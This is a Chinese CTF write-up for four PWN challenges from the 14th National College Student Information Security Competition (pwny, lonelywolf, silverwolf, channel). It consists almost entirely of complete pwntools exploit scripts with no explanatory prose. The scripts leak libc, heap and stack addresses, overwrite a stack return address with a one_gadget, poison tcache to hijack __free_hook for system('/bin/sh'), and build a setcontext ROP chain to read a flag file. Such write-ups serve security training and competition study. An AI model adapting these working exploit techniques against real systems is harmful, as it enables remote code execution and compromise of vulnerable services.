第十四届全国大学生信息安全竞赛初赛PWN部分WP

First Post:

Last Update:

Word Count:
2.5k

Read Time:
15 min

第十四届全国大学生信息安全竞赛初赛 PWN部分WP

pwny

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = 'pwny'
libc_path = '/glibc/2.27/64/lib/libc.so.6'
libc_path = './libc-2.27.so'

# remote server ip and port
host = "124.71.233.169:24519"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
int64 = 0xFFFFFFFFFFFFFFFF

sla('exit', '2')
sla(':', str(0x100))

sla('exit', '2')
sla(':', str(0x100))

# leak libc
sla('exit', '1')
li('cracking...')
sa(':', p64(int((elf.got['read'] - 0x202060) / 8) & int64))
ru('Result: ')
leak = int(ru('\n'), 16)
libc_base = leak - libc.sym['read']
li('leak:' + hex(leak))
li('libc_base:' + hex(libc_base))
env = libc_base + libc.sym['environ']
og = libc_base + 0x10a41c

# leak elf
sla('exit', '1')
sa(':', p64(int(-63) & int64))
ru('Result: ')
leak = int(ru('\n'), 16)
elf_base = leak - 0x201f80
li('leak:' + hex(leak))
li('elf_base:' + hex(elf_base))

# leak stack
sla('exit', '1')
sa(':', p64(int((env - elf_base - 0x202060) / 8) & int64))
ru('Result: ')
leak = int(ru('\n'), 16)
stack_ret = leak - 0x120
li('stack_ret:' + hex(stack_ret))

# modify stack return
sla('exit', '2')
sla('Index:', str(int((stack_ret - elf_base - 0x202060) / 8) & int64))
sleep(0.1)
#db()
s(p64(og))

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for i in range(1):
if(True):
#try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
#except:
# continue

lonelywolf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = 'lonelywolf'
libc_path = '/glibc/2.29/64/lib/libc.so.6'

# remote server ip and port
host = "124.71.233.169:24178"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz):
sla('exit', '1')
sla(':', str(0))
sla(':', str(sz))

def md(d):
sla('exit', '2')
sla(':', str(0))
sa(':', d)

def dp():
sla('exit', '3')
sla(':', str(0))

def rm():
sla('exit', '4')
sla(':', str(0))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak heap
ad(0x28)
rm()
p = p64(0) + p64(0)
p += b'\n'
md(p)
rm()
dp()
ru('Content: ')
heap = u64(r(6).ljust(8, b'\x00'))
li('heap: ' + hex(heap))


# leak libc
ad(0x58)
rm()
for _ in range(0xa):
ad(0x78)

rm()
ad(0x28)
md(p64(heap + 0x20) + b'\n') # malloc to our fake chunk

ad(0x28)
ad(0x28)
p = p64(0) + p64(0x60 + 0x80 * 9 + 1)
p += b'\n'
md(p)
ad(0x58)

rm()
dp()
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
li('libc_base: ' + hex(libc_base))

ad(0x38)
rm()

p = p64(0) + p64(0)
p += b'\n'
md(p)
rm()


ad(0x38)
p = p64(libc_base + libc.sym['__free_hook'] - 0x8)
p += b'\n'
md(p)

ad(0x38)

ad(0x38) # malloc to free_hook
p = b'/bin/sh\x00' + p64(libc_base + libc.sym['system'])
p += b'\n'
md(p)
db()
rm()




def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
libc_path = './libc-2.27.so'
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

silverwolf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = './silverwolf'
#libc_path = '/glibc/2.27/64/lib/libc.so.6'
libc_path = './libc-2.27.so'

# remote server ip and port
host = "124.71.233.169:24460"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz):
sla('exit', '1')
sla(':', str(0))
sla(':', str(sz))

def md(d):
sla('exit', '2')
sla(':', str(0))
sa(':', d)

def dp():
sla('exit', '3')
sla(':', str(0))

def rm():
sla('exit', '4')
sla(':', str(0))
def clean():
for i in range(0x10):
ad(0x10)
for i in range(0x10):
ad(0x20)

for i in range(0x10):
ad(0x30)

for i in range(0x3):
ad(0x50)

for i in range(0xc):
ad(0x60)

for i in range(0x8):
ad(0x70)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
clean()
ad(0x28) # for align

# leak heap
ad(0x28)
rm()
p = p64(0) + p64(0)
p += b'\n'
md(p)
rm()
dp()
ru('Content: ')
heap = u64(r(6).ljust(8, b'\x00'))
li('heap: ' + hex(heap))

# leak libc
li('leak libc')
ad(0x58)
rm()
for _ in range(0xa):
ad(0x78)

rm()
ad(0x28)
md(p64(heap + 0x20) + b'\n') # malloc to our fake chunk

ad(0x28)
ad(0x28)
p = p64(0) + p64(0x60 + 0x80 * 9 + 1)
p += b'\n'
md(p)
ad(0x58)

rm()
li('dumping libc')
dp()

leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
li('libc_base: ' + hex(libc_base))
setcontext = libc_base + 0x521B5
libc_ret = libc_base + 0x8aa
pop_rdi = libc_base + 0x00000000000215bf #: pop rdi ; ret
pop_rdx_rsi = libc_base + 0x0000000000130569 #: pop rdx ; pop rsi ; ret
open_ = libc_base + libc.sym['openat']
read_ = libc_base + libc.sym['read']
write_ = libc_base + libc.sym['write']
pop_rax = libc_base + 0x0000000000043ae8 # pop rax ; ret
syscall = libc_base + 0x1101e2
pop_rsp = libc_base + 0x0000000000003960 # pop rsp ; ret

ad(0x78) # for align

ad(0x68) # for return
rm()
ad(0x58) # for our
p = b'\x11' * 0x30
p += p64(heap + 0x160) # rsp
p += p64(libc_ret) # rcx ret

p += b'\n'
md(p)

ad(0x58) # for return
p = b'\x11' * 0x57
p += b'\n'
md(p)


ad(0x78)
p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x8)
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(pop_rax) + p64(2)
p += p64(syscall)

p += p64(pop_rdi) + p64(3)
p += p64(pop_rsp) + p64(heap + 0x160 + 0x90 - 0x10)


p += b'\n'
md(p) # our rop

ad(0x78)
p = p64(pop_rdx_rsi) + p64(0x100) + p64(heap)
p += p64(pop_rax) + p64(0)
p += p64(syscall)

p += p64(pop_rax) + p64(1)
p += p64(pop_rdi) + p64(1)
p += p64(syscall)
p += b'\n'
md(p) # our rop


# modify free_hook
ad(0x78)
rm()

p = p64(0) + p64(0)
p += b'\n'
md(p)
rm()

ad(0x78)
p = p64(libc_base + libc.sym['__free_hook'] - 0x8)
p += b'\n'
md(p)

ad(0x78)

li('get shell')
ad(0x78) # malloc to free_hook
p = b'./flag\x00\x00' + p64(setcontext)
p += b'\n'
md(p)

ad(0x68)
db()
rm()


def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
#io = elf.process()
io = process(elf_path, env = {'LD_PRELOAD':libc_path} )
else:
libc_path = './libc-2.27.so'
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

channel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './channel'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'lib/libc.so.6'

# remote server ip and port
server_ip = "124.71.233.169"
server_port = 24130

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
return p
def reg(k):
sla('>', '1')
sa('>', k)

def unreg(k):
sla('>', '2')
sa('>', k)

def rd(k):
sla('>', '3')
sa('>', k)

def wt(k, l, d):
sla('>', '4')
sa('>', k)
sla('>', str(l))
sa('>', d)

def db_exit(k):
sla('>', '4')
sa('>', k)
sla('>', str(0x400))

DEBUG = 1

#--------------------------exploit--------------------------
def exploit(n):
li('exploit...')

for i in range(0x9):
reg(str(i))

reg('A\x00')
reg('B\x00')
reg('C\x00')
reg('D\x00')
reg('DEBUG\x00')

#rd('B\x00')

unreg('A\x00') # bin: A
unreg('B\x00') # bin: B->A
wt('C\x00', 0x110, b'A' * (0x100 - 1) + b'\x01') # fake reg_buf, bin: A
rd('C\x00')
ru('\x01')

# leak heap
leak = u64(ru('\n').ljust(8, b'\x00'))
li('leak: ' + hex(leak))
heap = leak + 0x4000000000
li('heap: ' + hex(heap))

unreg(b'A' * 0xff + b'\x01') # free

wt('C\x00', 0x110, b'\x01' * 1) # fake reg_buf
rd('C\x00')

# leak libc
for i in range(8): # tbin: 5->4->3->2->1->0->A, unsorted bin: 6
unreg(str(7 - i))

for i in range(7):
wt('C\x00', 0x110, '\xAA' * 8)

#wt('D\x00', 0x110, '\x02' * 8)
wt('D\x00', 0x110, '\x02' * 8)
rd('D\x00')

ru('\x02' * 8)
leak = u64(ru('\n').ljust(8, b'\x00'))
li('leak: ' + hex(leak))
libc_base = 0x4000000000 + leak - (0x9e6ac0 - 0x879000)

li('libc_bsse: ' + hex(libc_base))
li('__malloc_hook: ' + hex(libc.sym['__malloc_hook']))
li('exit: ' + hex(libc.sym['exit']))

# modify fd
reg(b'A')
reg(b'B')

p =p64(0) + p64(0x141) # heap + 0x820
p = p.ljust(0x110, b'\x00')

wt('A', 0x110, p)

reg(b'C')
reg(b'/bin/sh')
reg('DEBUG\x00')


unreg(b'A') # for modified the fd
unreg(b'B') # for modified the fd
unreg(b'C') # bin: C -> B -> A

p = b'C'
p = p.ljust(0x100, b'\x00')
p += p64(heap + 0x830)
wt('/bin/sh', 0x110, p)

unreg('\x00')
unreg('C')

free_hook = libc_base + libc.sym['__free_hook']


p = b'\x11' * 0x100
p += p64(0) + p64(0x122)
p += p64(free_hook)
wt('/bin/sh', 0x138, p) # malloc to our 0x140, modify next fd as our target



li('malloc to free_hook')
li('__free_hook: ' + hex(free_hook))

reg(p64(free_hook)) # C

p = p64(libc_base + libc.sym['system'])
wt('/bin/sh', 0x110, p) # malloc to our 0x140, modify next fd as our target

unreg('/bin/sh')

'''
if(DEBUG):
db_exit('DEBUG\x00')
'''

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for n in range(0x1):
if True:
li('round: ' + str(n))
elf = ELF(elf_path)
if LOCAL:
if LIBC:
libc = ELF(libc_path)
if(DEBUG):
io = process(['./qemu-aarch64-static', '-g', '1234', '-L' , '.', elf_path])
else:
io = process(['./qemu-aarch64-static', '-L' , '.', elf_path])
else:
#io = process(['./qemu-aarch64-static', '-L' , '.', elf_path])
io = process(['./qemu-aarch64-static', '-g', '1234', '-L' , '.', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit(n)
finish()
'''
except:
c()
continue
'''

打赏点小钱
支付宝 | Alipay
微信 | WeChat